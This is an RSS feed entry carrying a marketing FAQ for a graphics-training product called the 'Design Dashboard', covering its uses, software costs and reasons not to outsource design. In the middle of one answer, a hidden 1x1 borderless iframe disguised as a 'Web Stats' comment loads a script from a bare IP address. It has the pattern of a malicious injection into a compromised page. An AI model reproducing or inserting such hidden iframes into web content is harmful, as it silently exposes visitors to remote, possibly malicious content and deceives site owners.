			<content:encoded><![CDATA[<p>Here are some questions you may have about the<br />
Design Dashboard and the answers:</p>
<p>QUESTION ONE: Is this just for designing web sites? Or can<br />
it help me (or my assistant) do graphics for blogs,<br />
landing pages, affiliate pre-sell pages, ebook covers and<br />
Power Point presentations?</p>
<p>ANSWER: It&#8217;ll help you with anything you need to do<br />
graphics for. Even if you outsource, it&#8217;s GREAT to be able<br />
to whip something out in a hurry when you don&#8217;t have time<br />
to wait.</p>
<p>QUESTION TWO: Is this something I can REALLY do without<br />
sweating bullets and going through the learning curve from<br />
down below?</p>
<p>ANSWER: ONLY if you have &#8220;The Design Dashboard.&#8221; If you<br />
don&#8217;t, yeah, it&#8217;s gonna be a real pain. But with the<br />
Design Dashboard, you have step-by-step screen caps that<br />
make doing things a breeze. Plus, video where needed.</p>
<p>QUESTION THREE: Why would I need this if I use templates?</p>
<p>ANSWER: 1. A blog header with graphics looks better than a<br />
plain one. You have the chance to do a little branding.</p>
<p>2. Templates for Power Point are just backgrounds. What<br />
about graphics that illustrate your point?</p>
<p>3. If you buy the SAME templates from the same places<br />
everyone else does, will YOU break through the noise?</p>
<p>4. With just a little skill and the right software, you<br />
can create some GREAT graphics for affiliate pre-sell<br />
pages.</p>
<p>5. There ARE programs that create ebook covers but they<br />
don&#8217;t do the GRAPHICS FOR the covers in most cases. The<br />
Design Dashboard serves many purposes.</p>
<p>QUESTION FOUR: How much is the software gonna ding me for?</p>
<p>ANSWER: $100 or less for the graphics software. If you<br />
want to add flash audio buttons to your site, you can<br />
spend $27 to $100 for that software, but SAVE $20 a month<br />
vs. what most people do.</p>
<p>In other words, if you do just ONE graphic header in 2007<br />
yourself instead of outsourcing it, you paid for it.</p>
<p>QUESTION FIVE: Why learn to do design when I can outsource<br />
it?</p>
<p>ANSWER: 1. You may not get the special treatment and same<br />
quality that &#8220;gurus&#8221; receive.</p>
<p>2. Talented designers sometimes get booked up for weeks.<br />
What if you need it sooner rather than later?</p>
<p>3. Once you see how easy it is to do graphics, you&#8217;ll<br />
probably find yourself doing at least SOME stuff yourself<br />
when you&#8217;re in a hurry.</p>
<p>4. Outsourcing is great. But you may want to only<br />
outsource when you need that special touch and do<br />
bread-and-butter stuff yourself.</p>
<p>5. You can have your ASSISTANT use the Design Dashboard<br />
and do stuff for you. It can be your training tool for<br />
THEM.</p>
<p>QUESTION SIX: What will the Design Dashboard do for me?</p>
<p>ANSWER: 1. You can design GRAPHICS for blogs, landing<br />
pages, affiliate pre-sell pages, ebook covers, power<br />
points.</p>
<p>2. Above and beyond that, there are step-by-step<br />
instructions for your sales letter (if you need one), ftp,<br />
shopping cart and other stuff. This is ONLY for the people<br />
who need it. You can use all the design part even if you<br />
don&#8217;t need THOSE things. But it&#8217;s nice to know they&#8217;re<br />
there if you need them.</p>
<p>3. You will save money.</p>
<p>Other programs use software that isn&#8217;t mainstream and may<br />
not keep up with the times. Plus, you can&#8217;t buy any books<br />
on it at the bookstore. Or they use Photoshop CS which is<br />
$650 or $750 USD. Then, for html, they use Dreamweaver,<br />
which sets you back more. I could go on and on. I&#8217;ve<br />
stripped out every possible cost.</p>
<p>4. You will save time</p>
<p>I know you have 1,000 things to do. Even watching videos<br />
takes TIME. That&#8217;s why I&#8217;ve used as many screen caps as I<br />
can. Learning from them is faster than video. But I&#8217;ve<br />
used video where it made learning faster.</p>
<p>5. You will avoid a painful, full-blown learning curve</p>
<p>The worse thing about software is the learning curve. I&#8217;ve<br />
taken<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> out the learning curve and JUST given you the steps<br />
you need to know.</p>
<p>QUESTION SEVEN:<br />
What is the difference between the Design Dashboard and the<br />
Marketing Dashboard?</p>
<p>ANSWER: One is for design. The other is for marketing.</p>
